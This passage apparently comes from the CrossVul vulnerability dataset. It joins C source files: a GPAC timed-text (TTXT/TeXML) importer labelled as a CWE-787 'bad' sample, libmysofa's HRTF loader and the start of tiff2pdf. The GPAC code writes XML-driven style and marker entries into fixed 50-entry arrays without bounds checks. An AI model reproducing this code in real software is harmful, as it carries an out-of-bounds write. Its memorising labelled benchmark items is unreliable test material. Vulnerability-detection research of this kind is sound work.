gf_strdup(att->value); else if (!strcmp(att->name, "URLToolTip")) url_tt = gf_strdup(att->value); } gf_isom_text_add_hyperlink(samp, url, url_tt, start, end); if (url) gf_free(url); if (url_tt) gf_free(url_tt); } else if (!stricmp(ext->name, "Karaoke")) { u32 startTime; GF_XMLNode *krok; startTime = 0; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ext->attributes, &k))) { if (!strcmp(att->name, "startTime")) startTime = (u32) (1000*atof(att->value)); } gf_isom_text_add_karaoke(samp, startTime); k=0; while ( (krok=(GF_XMLNode*)gf_list_enum(ext->content, &k))) { u16 start, end; u32 endTime, m; if (krok->type) continue; if (strcmp(krok->name, "KaraokeRange")) continue; start = end = 0; endTime = 0; m=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(krok->attributes, &m))) { if (!strcmp(att->name, "fromChar")) start = atoi(att->value); else if (!strcmp(att->name, "toChar")) end = atoi(att->value); else if (!strcmp(att->name, "endTime")) endTime = (u32) (1000*atof(att->value)); } gf_isom_text_set_karaoke_segment(samp, endTime, start, end); } } } /*in MP4 we must start at T=0, so add an empty sample*/ if (ts && !nb_samples) { GF_TextSample * firstsamp = gf_isom_new_text_sample(); s = gf_isom_text_to_sample(firstsamp); s->DTS = 0; gf_isom_add_sample(import->dest, track, 1, s); nb_samples++; gf_isom_delete_text_sample(firstsamp); gf_isom_sample_del(&s); } s = gf_isom_text_to_sample(samp); gf_isom_delete_text_sample(samp); s->DTS = ts; if (last_sample_empty) { last_sample_duration = s->DTS - last_sample_duration; } else { last_sample_duration = s->DTS; } e = gf_isom_add_sample(import->dest, track, descIndex, s); if (e) goto exit; gf_isom_sample_del(&s); nb_samples++; gf_set_progress("Importing TTXT", nb_samples, nb_children); if (import->duration && (ts>import->duration)) break; } } if (last_sample_empty) { gf_isom_remove_sample(import->dest, track, nb_samples); gf_isom_set_last_sample_duration(import->dest, track, (u32) last_sample_duration); } gf_set_progress("Importing TTXT", nb_samples, nb_samples); exit: gf_xml_dom_del(parser); return e; } u32 tx3g_get_color(GF_MediaImporter *import, char *value) { u32 r, g, b, a; u32 res, v; r = g = b = a = 0; if (sscanf(value, "%u%%, %u%%, %u%%, %u%%", &r, &g, &b, &a) != 4) { gf_import_message(import, GF_OK, "Warning: color badly formatted"); } v = (u32) (a*255/100); res = (v&0xFF); res<<=8; v = (u32) (r*255/100); res |= (v&0xFF); res<<=8; v = (u32) (g*255/100); res |= (v&0xFF); res<<=8; v = (u32) (b*255/100); res |= (v&0xFF); return res; } void tx3g_parse_text_box(GF_MediaImporter *import, GF_XMLNode *n, GF_BoxRecord *box) { u32 i=0; GF_XMLAttribute *att; memset(box, 0, sizeof(GF_BoxRecord)); while ((att=(GF_XMLAttribute *)gf_list_enum(n->attributes, &i))) { if (!stricmp(att->name, "x")) box->left = atoi(att->value); else if (!stricmp(att->name, "y")) box->top = atoi(att->value); else if (!stricmp(att->name, "height")) box->bottom = atoi(att->value); else if (!stricmp(att->name, "width")) box->right = atoi(att->value); } } typedef struct { u32 id; u32 pos; } Marker; #define GET_MARKER_POS(_val, __isend) \ { \ u32 i, __m = atoi(att->value); \ _val = 0; \ for (i=0; i<nb_marks; i++) { if (__m==marks[i].id) { _val = marks[i].pos; /*if (__isend) _val--; */break; } } \ } static void texml_import_progress(void *cbk, u64 cur_samp, u64 count) { gf_set_progress("TeXML Loading", cur_samp, count); } static GF_Err gf_text_import_texml(GF_MediaImporter *import) { GF_Err e; u32 track, ID, nb_samples, nb_children, nb_descs, timescale, w, h, i, j, k; u64 DTS; s32 tx, ty, layer; GF_StyleRecord styles[50]; Marker marks[50]; GF_XMLAttribute *att; GF_DOMParser *parser; GF_XMLNode *root, *node; if (import->flags==GF_IMPORT_PROBE_ONLY) return GF_OK; parser = gf_xml_dom_new(); e = gf_xml_dom_parse(parser, import->in_name, texml_import_progress, import); if (e) { gf_import_message(import, e, "Error parsing TeXML file: Line %d - %s", gf_xml_dom_get_line(parser), gf_xml_dom_get_error(parser)); gf_xml_dom_del(parser); return e; } root = gf_xml_dom_get_root(parser); if (strcmp(root->name, "text3GTrack")) { e = gf_import_message(import, GF_BAD_PARAM, "Invalid QT TeXML file - expecting root \"text3GTrack\" got \"%s\"", root->name); goto exit; } w = TTXT_DEFAULT_WIDTH; h = TTXT_DEFAULT_HEIGHT; tx = ty = 0; layer = 0; timescale = 1000; i=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(root->attributes, &i))) { if (!strcmp(att->name, "trackWidth")) w = atoi(att->value); else if (!strcmp(att->name, "trackHeight")) h = atoi(att->value); else if (!strcmp(att->name, "layer")) layer = atoi(att->value); else if (!strcmp(att->name, "timescale")) timescale = atoi(att->value); else if (!strcmp(att->name, "transform")) { Float fx, fy; sscanf(att->value, "translate(%f,%f)", &fx, &fy); tx = (u32) fx; ty = (u32) fy; } } /*setup track in 3GP format directly (no ES desc)*/ ID = (import->esd) ? import->esd->ESID : 0; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { e = gf_isom_last_error(import->dest); goto exit; } gf_isom_set_track_enabled(import->dest, track, 1); /*some MPEG-4 setup*/ if (import->esd) { if (!import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); if (!import->esd->decoderConfig) import->esd->decoderConfig = (GF_DecoderConfig *) gf_odf_desc_new(GF_ODF_DCD_TAG); if (!import->esd->slConfig) import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->timestampResolution = timescale; import->esd->decoderConfig->streamType = GF_STREAM_TEXT; import->esd->decoderConfig->objectTypeIndication = GPAC_OTI_TEXT_MPEG4; if (import->esd->OCRESID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, import->esd->OCRESID); } DTS = 0; gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, tx<<16, ty<<16, (s16) layer); gf_text_import_set_language(import, track); e = GF_OK; gf_import_message(import, GF_OK, "Timed Text (QT TeXML) Import - Track Size %d x %d", w, h); nb_children = gf_list_count(root->content); nb_descs = 0; nb_samples = 0; i=0; while ( (node=(GF_XMLNode*)gf_list_enum(root->content, &i))) { GF_XMLNode *desc; GF_TextSampleDescriptor td; GF_TextSample * samp = NULL; GF_ISOSample *s; u32 duration, descIndex, nb_styles, nb_marks; Bool isRAP, same_style, same_box; if (node->type) continue; if (strcmp(node->name, "sample")) continue; isRAP = GF_FALSE; duration = 1000; j=0; while ((att=(GF_XMLAttribute *)gf_list_enum(node->attributes, &j))) { if (!strcmp(att->name, "duration")) duration = atoi(att->value); else if (!strcmp(att->name, "keyframe")) isRAP = (!stricmp(att->value, "true") ? GF_TRUE : GF_FALSE); } nb_styles = 0; nb_marks = 0; same_style = same_box = GF_FALSE; descIndex = 1; j=0; while ((desc=(GF_XMLNode*)gf_list_enum(node->content, &j))) { if (desc->type) continue; if (!strcmp(desc->name, "description")) { GF_XMLNode *sub; memset(&td, 0, sizeof(GF_TextSampleDescriptor)); td.tag = GF_ODF_TEXT_CFG_TAG; td.vert_justif = (s8) -1; td.default_style.fontID = 1; td.default_style.font_size = TTXT_DEFAULT_FONT_SIZE; k=0; while ((att=(GF_XMLAttribute *)gf_list_enum(desc->attributes, &k))) { if (!strcmp(att->name, "horizontalJustification")) { if (!stricmp(att->value, "center")) td.horiz_justif = 1; else if (!stricmp(att->value, "right")) td.horiz_justif = (s8) -1; else if (!stricmp(att->value, "left")) td.horiz_justif = 0; } else if (!strcmp(att->name, "verticalJustification")) { if (!stricmp(att->value, "center")) td.vert_justif = 1; else if (!stricmp(att->value, "bottom")) td.vert_justif = (s8) -1; else if (!stricmp(att->value, "top")) td.vert_justif = 0; } else if (!strcmp(att->name, "backgroundColor")) td.back_color = tx3g_get_color(import, att->value); else if (!strcmp(att->name, "displayFlags")) { Bool rev_scroll = GF_FALSE; if (strstr(att->value, "scroll")) { u32 scroll_mode = 0; if (strstr(att->value, "scrollIn")) td.displayFlags |= GF_TXT_SCROLL_IN; if (strstr(att->value, "scrollOut")) td.displayFlags |= GF_TXT_SCROLL_OUT; if (strstr(att->value, "reverse")) rev_scroll = GF_TRUE; if (strstr(att->value, "horizontal")) scroll_mode = rev_scroll ? GF_TXT_SCROLL_RIGHT : GF_TXT_SCROLL_MARQUEE; else scroll_mode = (rev_scroll ? GF_TXT_SCROLL_DOWN : GF_TXT_SCROLL_CREDITS); td.displayFlags |= (scroll_mode<<7) & GF_TXT_SCROLL_DIRECTION; } /*TODO FIXME: check in QT doc !!*/ if (strstr(att->value, "writeTextVertically")) td.displayFlags |= GF_TXT_VERTICAL; if (!strcmp(att->name, "continuousKaraoke")) td.displayFlags |= GF_TXT_KARAOKE; } } k=0; while ((sub=(GF_XMLNode*)gf_list_enum(desc->content, &k))) { if (sub->type) continue; if (!strcmp(sub->name, "defaultTextBox")) tx3g_parse_text_box(import, sub, &td.default_pos); else if (!strcmp(sub->name, "fontTable")) { GF_XMLNode *ftable; u32 m=0; while ((ftable=(GF_XMLNode*)gf_list_enum(sub->content, &m))) { if (ftable->type) continue; if (!strcmp(ftable->name, "font")) { u32 n=0; td.font_count += 1; td.fonts = (GF_FontRecord*)gf_realloc(td.fonts, sizeof(GF_FontRecord)*td.font_count); while ((att=(GF_XMLAttribute *)gf_list_enum(ftable->attributes, &n))) { if (!stricmp(att->name, "id")) td.fonts[td.font_count-1].fontID = atoi(att->value); else if (!stricmp(att->name, "name")) td.fonts[td.font_count-1].fontName = gf_strdup(att->value); } } } } else if (!strcmp(sub->name, "sharedStyles")) { GF_XMLNode *style, *ftable; u32 m=0; while ((style=(GF_XMLNode*)gf_list_enum(sub->content, &m))) { if (style->type) continue; if (!strcmp(style->name, "style")) break; } if (style) { char *cur; s32 start=0; char css_style[1024], css_val[1024]; memset(&styles[nb_styles], 0, sizeof(GF_StyleRecord)); m=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(style->attributes, &m))) { if (!strcmp(att->name, "id")) styles[nb_styles].startCharOffset = atoi(att->value); } m=0; while ( (ftable=(GF_XMLNode*)gf_list_enum(style->content, &m))) { if (ftable->type) break; } cur = ftable->name; while (cur) { start = gf_token_get_strip(cur, 0, "{:", " ", css_style, 1024); if (start <0) break; start = gf_token_get_strip(cur, start, ":}", " ", css_val, 1024); if (start <0) break; cur = strchr(cur+start, '{'); if (!strcmp(css_style, "font-table")) { u32 z; styles[nb_styles].fontID = atoi(css_val); for (z=0; z<td.font_count; z++) { if (td.fonts[z].fontID == styles[nb_styles].fontID) break; } } else if (!strcmp(css_style, "font-size")) styles[nb_styles].font_size = atoi(css_val); else if (!strcmp(css_style, "font-style") && !strcmp(css_val, "italic")) styles[nb_styles].style_flags |= GF_TXT_STYLE_ITALIC; else if (!strcmp(css_style, "font-weight") && !strcmp(css_val, "bold")) styles[nb_styles].style_flags |= GF_TXT_STYLE_BOLD; else if (!strcmp(css_style, "text-decoration") && !strcmp(css_val, "underline")) styles[nb_styles].style_flags |= GF_TXT_STYLE_UNDERLINED; else if (!strcmp(css_style, "color")) styles[nb_styles].text_color = tx3g_get_color(import, css_val); } if (!nb_styles) td.default_style = styles[0]; nb_styles++; } } } if ((td.default_pos.bottom==td.default_pos.top) || (td.default_pos.right==td.default_pos.left)) { td.default_pos.top = td.default_pos.left = 0; td.default_pos.right = w; td.default_pos.bottom = h; } if (!td.fonts) { td.font_count = 1; td.fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); td.fonts[0].fontID = 1; td.fonts[0].fontName = gf_strdup("Serif"); } gf_isom_text_has_similar_description(import->dest, track, &td, &descIndex, &same_box, &same_style); if (!descIndex) { gf_isom_new_text_description(import->dest, track, &td, NULL, NULL, &descIndex); same_style = same_box = GF_TRUE; } for (k=0; k<td.font_count; k++) gf_free(td.fonts[k].fontName); gf_free(td.fonts); nb_descs ++; } else if (!strcmp(desc->name, "sampleData")) { GF_XMLNode *sub; u16 start, end; u32 styleID; u32 nb_chars, txt_len, m; nb_chars = 0; samp = gf_isom_new_text_sample(); k=0; while ((att=(GF_XMLAttribute *)gf_list_enum(desc->attributes, &k))) { if (!strcmp(att->name, "targetEncoding") && !strcmp(att->value, "utf16")) ;//is_utf16 = 1; else if (!strcmp(att->name, "scrollDelay")) gf_isom_text_set_scroll_delay(samp, atoi(att->value) ); else if (!strcmp(att->name, "highlightColor")) gf_isom_text_set_highlight_color_argb(samp, tx3g_get_color(import, att->value)); } start = end = 0; k=0; while ((sub=(GF_XMLNode*)gf_list_enum(desc->content, &k))) { if (sub->type) continue; if (!strcmp(sub->name, "text")) { GF_XMLNode *text; styleID = 0; m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "styleID")) styleID = atoi(att->value); } txt_len = 0; m=0; while ((text=(GF_XMLNode*)gf_list_enum(sub->content, &m))) { if (!text->type) { if (!strcmp(text->name, "marker")) { u32 z; memset(&marks[nb_marks], 0, sizeof(Marker)); marks[nb_marks].pos = nb_chars+txt_len; z = 0; while ( (att=(GF_XMLAttribute *)gf_list_enum(text->attributes, &z))) { if (!strcmp(att->name, "id")) marks[nb_marks].id = atoi(att->value); } nb_marks++; } } else if (text->type==GF_XML_TEXT_TYPE) { txt_len += (u32) strlen(text->name); gf_isom_text_add_text(samp, text->name, (u32) strlen(text->name)); } } if (styleID && (!same_style || (td.default_style.startCharOffset != styleID))) { GF_StyleRecord st = td.default_style; for (m=0; m<nb_styles; m++) { if (styles[m].startCharOffset==styleID) { st = styles[m]; break; } } st.startCharOffset = nb_chars; st.endCharOffset = nb_chars + txt_len; gf_isom_text_add_style(samp, &st); } nb_chars += txt_len; } else if (!stricmp(sub->name, "highlight")) { m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "startMarker")) GET_MARKER_POS(start, 0) else if (!strcmp(att->name, "endMarker")) GET_MARKER_POS(end, 1) } gf_isom_text_add_highlight(samp, start, end); } else if (!stricmp(sub->name, "blink")) { m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "startMarker")) GET_MARKER_POS(start, 0) else if (!strcmp(att->name, "endMarker")) GET_MARKER_POS(end, 1) } gf_isom_text_add_blink(samp, start, end); } else if (!stricmp(sub->name, "link")) { char *url, *url_tt; url = url_tt = NULL; m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "startMarker")) GET_MARKER_POS(start, 0) else if (!strcmp(att->name, "endMarker")) GET_MARKER_POS(end, 1) else if (!strcmp(att->name, "URL") || !strcmp(att->name, "href")) url = gf_strdup(att->value); else if (!strcmp(att->name, "URLToolTip") || !strcmp(att->name, "altString")) url_tt = gf_strdup(att->value); } gf_isom_text_add_hyperlink(samp, url, url_tt, start, end); if (url) gf_free(url); if (url_tt) gf_free(url_tt); } else if (!stricmp(sub->name, "karaoke")) { u32 time = 0; GF_XMLNode *krok; m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "startTime")) time = atoi(att->value); } gf_isom_text_add_karaoke(samp, time); m=0; while ((krok=(GF_XMLNode*)gf_list_enum(sub->content, &m))) { u32 u=0; if (krok->type) continue; if (strcmp(krok->name, "run")) continue; start = end = 0; while ((att=(GF_XMLAttribute *)gf_list_enum(krok->attributes, &u))) { if (!strcmp(att->name, "startMarker")) GET_MARKER_POS(start, 0) else if (!strcmp(att->name, "endMarker")) GET_MARKER_POS(end, 1) else if (!strcmp(att->name, "duration")) time += atoi(att->value); } gf_isom_text_set_karaoke_segment(samp, time, start, end); } } } } } /*OK, let's add the sample*/ if (samp) { if (!same_box) gf_isom_text_set_box(samp, td.default_pos.top, td.default_pos.left, td.default_pos.bottom, td.default_pos.right); // if (!same_style) gf_isom_text_add_style(samp, &td.default_style); s = gf_isom_text_to_sample(samp); gf_isom_delete_text_sample(samp); s->IsRAP = isRAP ? RAP : RAP_NO; s->DTS = DTS; gf_isom_add_sample(import->dest, track, descIndex, s); gf_isom_sample_del(&s); nb_samples++; DTS += duration; gf_set_progress("Importing TeXML", nb_samples, nb_children); if (import->duration && (DTS*1000> timescale*import->duration)) break; } } gf_isom_set_last_sample_duration(import->dest, track, 0); gf_set_progress("Importing TeXML", nb_samples, nb_samples); exit: gf_xml_dom_del(parser); return e; } GF_Err gf_import_timed_text(GF_MediaImporter *import) { GF_Err e; u32 fmt; e = gf_text_guess_format(import->in_name, &fmt); if (e) return e; if (import->streamFormat) { if (!strcmp(import->streamFormat, "VTT")) fmt = GF_TEXT_IMPORT_WEBVTT; else if (!strcmp(import->streamFormat, "TTML")) fmt = GF_TEXT_IMPORT_TTML; if ((strstr(import->in_name, ".swf") || strstr(import->in_name, ".SWF")) && !stricmp(import->streamFormat, "SVG")) fmt = GF_TEXT_IMPORT_SWF_SVG; } if (!fmt) { GF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, ("[TTXT Import] Input %s does not look like a supported text format - ignoring\n", import->in_name)); return GF_NOT_SUPPORTED; } if (import->flags & GF_IMPORT_PROBE_ONLY) { if (fmt==GF_TEXT_IMPORT_SUB) import->flags |= GF_IMPORT_OVERRIDE_FPS; return GF_OK; } switch (fmt) { case GF_TEXT_IMPORT_SRT: return gf_text_import_srt(import); case GF_TEXT_IMPORT_SUB: return gf_text_import_sub(import); case GF_TEXT_IMPORT_TTXT: return gf_text_import_ttxt(import); case GF_TEXT_IMPORT_TEXML: return gf_text_import_texml(import); #ifndef GPAC_DISABLE_VTT case GF_TEXT_IMPORT_WEBVTT: return gf_text_import_webvtt(import); #endif case GF_TEXT_IMPORT_SWF_SVG: return gf_text_import_swf(import); case GF_TEXT_IMPORT_TTML: return gf_text_import_ttml(import); default: return GF_BAD_PARAM; } } #endif /*GPAC_DISABLE_MEDIA_IMPORT*/ #endif /*GPAC_DISABLE_ISOM_WRITE*/
./CrossVul/dataset_final_sorted/CWE-787/c/bad_524_0
crossvul-cpp_data_good_1338_2
/* Copyright 2016 Christian Hoene, Symonics GmbH */ #include <errno.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include "mysofa_export.h" #include "mysofa.h" #include "../hdf/reader.h" #include "../config.h" /* checks file address. * NULL is an invalid address indicating a invalid field */ int validAddress(struct READER *reader, uint64_t address) { return address > 0 && address < reader->superblock.end_of_file_address; } /* little endian */ uint64_t readValue(struct READER *reader, int size) { int i, c; uint64_t value; c = fgetc(reader->fhd); if (c < 0) return 0xffffffffffffffffLL; value = (uint8_t) c; for (i = 1; i < size; i++) { c = fgetc(reader->fhd); if (c < 0) return 0xffffffffffffffffLL; value |= ((uint64_t) c) << (i * 8); } return value; } static int mystrcmp(char *s1, char *s2) { if (s1 == NULL && s2 == NULL) return 0; if (s1 == NULL) return -1; if (s2 == NULL) return 1; return strcmp(s1, s2); } static int checkAttribute(struct MYSOFA_ATTRIBUTE *attribute, char *name, char *value) { while (attribute) { if (!mystrcmp(attribute->name, name) && !mystrcmp(attribute->value, value)) return MYSOFA_OK; attribute = attribute->next; } return MYSOFA_INVALID_FORMAT; } static int getDimension(unsigned *dim, struct DATAOBJECT *dataobject) { int err; struct MYSOFA_ATTRIBUTE *attr = dataobject->attributes; if (!!(err = checkAttribute(dataobject->attributes, "CLASS", "DIMENSION_SCALE"))) return err; while (attr) { log(" %s=%s\n",attr->name,attr->value); if (!strcmp(attr->name, "NAME") && attr->value && !strncmp(attr->value, "This is a netCDF dimension but not a netCDF variable.", 53)) { char *p = attr->value + strlen(attr->value) - 1; while (isdigit(*p)) { p--; } p++; *dim = atoi(p); log("NETCDF DIM %u\n",*dim); return MYSOFA_OK; } attr = attr->next; } return MYSOFA_INVALID_FORMAT; } static int getArray(struct MYSOFA_ARRAY *array, struct DATAOBJECT *dataobject) { float *p1; double *p2; int i; struct MYSOFA_ATTRIBUTE *attr = dataobject->attributes; while (attr) { log(" %s=%s\n",attr->name,attr->value); attr = attr->next; } if (dataobject->dt.u.f.bit_precision != 64) return MYSOFA_UNSUPPORTED_FORMAT; array->attributes = dataobject->attributes; dataobject->attributes = NULL; array->elements = dataobject->data_len / 8; p1 = dataobject->data; p2 = dataobject->data; for (i = 0; i < array->elements; i++) *p1++ = *p2++; array->values = realloc(dataobject->data, array->elements * sizeof(float)); dataobject->data = NULL; return MYSOFA_OK; } static struct MYSOFA_HRTF *getHrtf(struct READER *reader, int *err) { int dimensionflags = 0; struct DIR *dir = reader->superblock.dataobject.directory; struct MYSOFA_HRTF *hrtf = malloc(sizeof(struct MYSOFA_HRTF)); if (!hrtf) { *err = errno; return NULL; } memset(hrtf, 0, sizeof(struct MYSOFA_HRTF)); /* copy SOFA file attributes */ hrtf->attributes = reader->superblock.dataobject.attributes; reader->superblock.dataobject.attributes = NULL; /* check SOFA file attributes */ if (!!(*err = checkAttribute(hrtf->attributes, "Conventions", "SOFA"))) goto error; /* read dimensions */ while (dir) { if (dir->dataobject.name && dir->dataobject.name[0] && dir->dataobject.name[1] == 0) { switch (dir->dataobject.name[0]) { case 'I': *err = getDimension(&hrtf->I, &dir->dataobject); dimensionflags |= 1; break; case 'C': *err = getDimension(&hrtf->C, &dir->dataobject); dimensionflags |= 2; break; case 'R': *err = getDimension(&hrtf->R, &dir->dataobject); dimensionflags |= 4; break; case 'E': *err = getDimension(&hrtf->E, &dir->dataobject); dimensionflags |= 8; break; case 'N': *err = getDimension(&hrtf->N, &dir->dataobject); dimensionflags |= 0x10; break; case 'M': *err = getDimension(&hrtf->M, &dir->dataobject); dimensionflags |= 0x20; break; case 'S': break; /* be graceful, some issues with API version 0.4.4 */ default: log("UNKNOWN SOFA VARIABLE %s", dir->dataobject.name); goto error; } if (*err) goto error; } dir = dir->next; } if (dimensionflags != 0x3f || hrtf->I != 1 || hrtf->C != 3) { log("dimensions are missing or wrong\n"); goto error; } dir = reader->superblock.dataobject.directory; while (dir) { if(!dir->dataobject.name) { log("SOFA VARIABLE IS NULL.\n"); } else if (!strcmp(dir->dataobject.name, "ListenerPosition")) { *err = getArray(&hrtf->ListenerPosition, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "ReceiverPosition")) { *err = getArray(&hrtf->ReceiverPosition, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "SourcePosition")) { *err = getArray(&hrtf->SourcePosition, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "EmitterPosition")) { *err = getArray(&hrtf->EmitterPosition, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "ListenerUp")) { *err = getArray(&hrtf->ListenerUp, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "ListenerView")) { *err = getArray(&hrtf->ListenerView, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "Data.IR")) { *err = getArray(&hrtf->DataIR, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "Data.SamplingRate")) { *err = getArray(&hrtf->DataSamplingRate, &dir->dataobject); } else if (!strcmp(dir->dataobject.name, "Data.Delay")) { *err = getArray(&hrtf->DataDelay, &dir->dataobject); } else { if (!(dir->dataobject.name[0] && !dir->dataobject.name[1])) log("UNKNOWN SOFA VARIABLE %s.\n", dir->dataobject.name); } dir = dir->next; } return hrtf; error: free(hrtf); if (!*err) *err = MYSOFA_INVALID_FORMAT; return NULL; } MYSOFA_EXPORT struct MYSOFA_HRTF* mysofa_load(const char *filename, int *err) { struct READER reader; struct MYSOFA_HRTF *hrtf = NULL; if (filename == NULL) filename = CMAKE_INSTALL_PREFIX "/share/libmysofa/default.sofa"; if (strcmp(filename, "-")) reader.fhd = fopen(filename, "rb"); else reader.fhd = stdin; if (!reader.fhd) { log("cannot open file %s\n", filename); *err = errno; return NULL; } reader.gcol = NULL; reader.all = NULL; reader.recursive_counter = 0; *err = superblockRead(&reader, &reader.superblock); if (!*err) { hrtf = getHrtf(&reader, err); } superblockFree(&reader, &reader.superblock); gcolFree(reader.gcol); if (strcmp(filename, "-")) fclose(reader.fhd); return hrtf; } static void arrayFree(struct MYSOFA_ARRAY *array) { while (array->attributes) { struct MYSOFA_ATTRIBUTE *next = array->attributes->next; free(array->attributes->name); free(array->attributes->value); free(array->attributes); array->attributes = next; } free(array->values); } MYSOFA_EXPORT void mysofa_free(struct MYSOFA_HRTF *hrtf) { if (!hrtf) return; while (hrtf->attributes) { struct MYSOFA_ATTRIBUTE *next = hrtf->attributes->next; free(hrtf->attributes->name); free(hrtf->attributes->value); free(hrtf->attributes); hrtf->attributes = next; } arrayFree(&hrtf->ListenerPosition); arrayFree(&hrtf->ReceiverPosition); arrayFree(&hrtf->SourcePosition); arrayFree(&hrtf->EmitterPosition); arrayFree(&hrtf->ListenerUp); arrayFree(&hrtf->ListenerView); arrayFree(&hrtf->DataIR); arrayFree(&hrtf->DataSamplingRate); arrayFree(&hrtf->DataDelay); free(hrtf); } MYSOFA_EXPORT void mysofa_getversion(int *major, int *minor, int *patch) { *major = CPACK_PACKAGE_VERSION_MAJOR; *minor = CPACK_PACKAGE_VERSION_MINOR; *patch = CPACK_PACKAGE_VERSION_PATCH; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_1338_2
crossvul-cpp_data_good_5474_3
/* $Id$ * * tiff2pdf - converts a TIFF image to a PDF document * * Copyright (c) 2003 Ross Finlayson * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the name of * Ross Finlayson may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Ross Finlayson. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL ROSS FINLAYSON BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tif_config.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #include <errno.h> #include <limits.h> #if HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_FCNTL_H # include <fcntl.h> #endif #ifdef HAVE_IO_H # include <io.h> #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffiop.h" #include "tiffio.h" #ifndef HAVE_GETOPT extern int getopt(int, char**, char*); #endif #ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 #endif #ifndef EXIT_FAILURE # define EXIT_FAILURE 1 #endif #define TIFF2PDF_MODULE "tiff2pdf" #define PS_UNIT_SIZE 72.0F /* This type is of PDF color spaces. */ typedef enum { T2P_CS_BILEVEL = 0x01, /* Bilevel, black and white */ T2P_CS_GRAY = 0x02, /* Single channel */ T2P_CS_RGB = 0x04, /* Three channel tristimulus RGB */ T2P_CS_CMYK = 0x08, /* Four channel CMYK print inkset */ T2P_CS_LAB = 0x10, /* Three channel L*a*b* color space */ T2P_CS_PALETTE = 0x1000,/* One of the above with a color map */ T2P_CS_CALGRAY = 0x20, /* Calibrated single channel */ T2P_CS_CALRGB = 0x40, /* Calibrated three channel tristimulus RGB */ T2P_CS_ICCBASED = 0x80 /* ICC profile color specification */ } t2p_cs_t; /* This type is of PDF compression types. */ typedef enum{ T2P_COMPRESS_NONE=0x00 #ifdef CCITT_SUPPORT , T2P_COMPRESS_G4=0x01 #endif #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) , T2P_COMPRESS_JPEG=0x02 #endif #ifdef ZIP_SUPPORT , T2P_COMPRESS_ZIP=0x04 #endif } t2p_compress_t; /* This type is whether TIFF image data can be used in PDF without transcoding. */ typedef enum{ T2P_TRANSCODE_RAW=0x01, /* The raw data from the input can be used without recompressing */ T2P_TRANSCODE_ENCODE=0x02 /* The data from the input is perhaps unencoded and reencoded */ } t2p_transcode_t; /* This type is of information about the data samples of the input image. */ typedef enum{ T2P_SAMPLE_NOTHING=0x0000, /* The unencoded samples are normal for the output colorspace */ T2P_SAMPLE_ABGR_TO_RGB=0x0001, /* The unencoded samples are the result of ReadRGBAImage */ T2P_SAMPLE_RGBA_TO_RGB=0x0002, /* The unencoded samples are contiguous RGBA */ T2P_SAMPLE_RGBAA_TO_RGB=0x0004, /* The unencoded samples are RGBA with premultiplied alpha */ T2P_SAMPLE_YCBCR_TO_RGB=0x0008, T2P_SAMPLE_YCBCR_TO_LAB=0x0010, T2P_SAMPLE_REALIZE_PALETTE=0x0020, /* The unencoded samples are indexes into the color map */ T2P_SAMPLE_SIGNED_TO_UNSIGNED=0x0040, /* The unencoded samples are signed instead of unsignd */ T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED=0x0040, /* The L*a*b* samples have a* and b* signed */ T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG=0x0100 /* The unencoded samples are separate instead of contiguous */ } t2p_sample_t; /* This type is of error status of the T2P struct. */ typedef enum{ T2P_ERR_OK = 0, /* This is the value of t2p->t2p_error when there is no error */ T2P_ERR_ERROR = 1 /* This is the value of t2p->t2p_error when there was an error */ } t2p_err_t; /* This struct defines a logical page of a TIFF. */ typedef struct { tdir_t page_directory; uint32 page_number; ttile_t page_tilecount; uint32 page_extra; } T2P_PAGE; /* This struct defines a PDF rectangle's coordinates. */ 